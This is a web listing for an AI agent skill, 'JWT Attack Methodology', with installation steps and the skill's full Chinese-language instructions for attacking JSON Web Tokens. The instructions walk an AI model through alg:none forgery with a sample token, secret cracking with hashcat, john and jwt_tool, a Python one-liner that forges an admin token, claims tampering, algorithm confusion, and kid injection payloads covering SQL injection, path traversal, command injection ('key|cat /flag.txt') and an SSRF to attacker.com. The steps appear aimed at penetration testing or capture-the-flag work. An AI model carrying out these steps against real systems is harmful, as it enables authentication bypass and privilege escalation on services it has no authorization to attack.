Jwt Attack Methodology logo

Jwt Attack Methodology

OrganizationPopular
wgpsec
jwt-attack-methodology

JWT Token 攻击方法论。当响应头/Cookie 中出现 eyJ 开头的字符串(三段式 base64,Header.Payload.Signature)、Authorization: Bearer token、API 返回 token/access_token 字段时使用。包含 alg:none 绕过、弱密钥爆破(hashcat/john/c-jwt-cracker/jwt_tool 完整工具链)、Claims 篡改提权、RS256->HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换。注意:非 JWT 的 Cookie 分析请使用 cookie-analysis

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namejwt-attack-methodology
Stars
1.8K
Forks
247
Bundled files
4
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 4 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Jwt Attack Methodology AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/auth/jwt-attack-methodology
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/auth/jwt-attack-methodology .claude/skills/jwt-attack-methodology
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Jwt Attack Methodology in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Jwt Attack Methodology on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Jwt Attack Methodology is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

JWT 攻击方法论

Phase 1: 获取和解码 JWT

  1. 登录获取 token(检查响应头 Set-Cookie 和响应体 JSON 字段)
  2. 确认 JWT 格式:三段 Base64 由 . 分隔(Header.Payload.Signature)
  3. 使用 jwt_decode 工具或 echo '<part>' | base64 -d 手动解码:
    • Header:检查 alg 字段(HS256/RS256/none)、kid/jku/x5u 参数
    • Payload:检查 sub、role、admin、is_admin、user_id、exp 等 Claims
    • 记录签名算法、过期时间、关键权限字段
  4. 检查 token 是否过期:exp 字段转换为 Unix 时间戳对比当前时间
  5. 对比不同用户的 JWT,找出权限相关字段的差异

⛔ 深入参考(发现 JWT 后必读)

Phase 2: None Algorithm 攻击

  1. 将 Header 中 alg 改为 none,删除 Signature 部分(保留末尾的 .)
  2. 重新 Base64 编码 Header 和 Payload,拼接为 header.payload.
  3. 发送请求,观察服务端是否接受无签名 token
  4. 尝试大小写变种绕过:"none", "None", "NONE", "nOnE", "NoNe"
  5. 某些库只在 alg 为精确 "none" 时绕过,需逐个测试
原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

Phase 3: 弱密钥爆破(HS256/HS384/HS512 专用)

  1. 手动测试常见弱密钥:secret, password, 123456, key, jwt_secret, changeme, ""(空字符串)
  2. 使用 hashcat 离线爆破:hashcat -m 16500 jwt.txt wordlist.txt
  3. 使用 john:john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
  4. 轻量工具 c-jwt-cracker:./jwtcrack <token>(纯暴力,适合短密钥)
  5. jwt_tool 综合工具:python3 jwt_tool.py <token> -C -d wordlist.txt
  6. 知道密钥后伪造 token:
python
import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))

→ 完整爆破工具链和弱密钥模式表 → references/jwt-advanced.md

Phase 4: Claims 篡改

  1. 解码 Payload,列出所有 Claims 字段
  2. 修改权限相关字段:role:user→admin | is_admin:false→true | user_id:5→1
  3. 尝试添加新字段:"admin":true、"groups":["admin"]
  4. 修改 exp 延长 token 有效期(如改为 2099 年时间戳)
  5. 使用已知密钥重新签名,替换原 token 发送请求
  6. 对比响应确认权限是否提升(检查 HTTP 状态码、响应内容、可访问的端点)

Phase 5: RS256→HS256 算法混淆

  1. 确认服务端使用 RS256(非对称)算法签名
  2. 获取公钥:请求 /api/jwks、/.well-known/jwks.json、/oauth/jwks
  3. 将 Header 中 alg 从 RS256 改为 HS256
  4. 使用 RS256 的公钥作为 HS256 的对称密钥签名 token
  5. 发送篡改后的 token,利用服务端用公钥做 HMAC 验证的逻辑漏洞 → 详细原理和脚本 → references/jwt-advanced.md

Phase 6: kid 参数注入

  1. 检查 JWT Header 中是否存在 kid(Key ID)字段
  2. SQL 注入:"kid":"1' UNION SELECT 'my-key' -- " → 用 my-key 签名
  3. 路径穿越:"kid":"../../dev/null" → 用空文件内容作为密钥签名
  4. 命令注入:"kid":"key|cat /flag.txt" → 某些实现会执行 shell 命令
  5. SSRF:"kid":"http://attacker.com/key" → 从攻击者服务器获取密钥 → 完整 payload → references/jwt-advanced.md

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Jwt Attack Methodology AI skill do?

JWT Token 攻击方法论。当响应头/Cookie 中出现 eyJ 开头的字符串(三段式 base64,Header.Payload.Signature)、Authorization: Bearer token、API 返回 token/access_token 字段时使用。包含 alg:none 绕过、弱密钥爆破(hashcat/john/c-jwt-cracker/jwt_tool 完整工具链)、Claims 篡改提权、RS256->HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换。注意:非 JWT 的 Cookie 分析请使用 cookie-analysis

Why use Jwt Attack Methodology on TypingMind?

Because you install it once and use it with any model. Jwt Attack Methodology is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Jwt Attack Methodology in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/auth/jwt-attack-methodology. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Jwt Attack Methodology?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Jwt Attack Methodology?

As many as you like. As long as a model supports skills, you can use Jwt Attack Methodology with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Jwt Attack Methodology AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇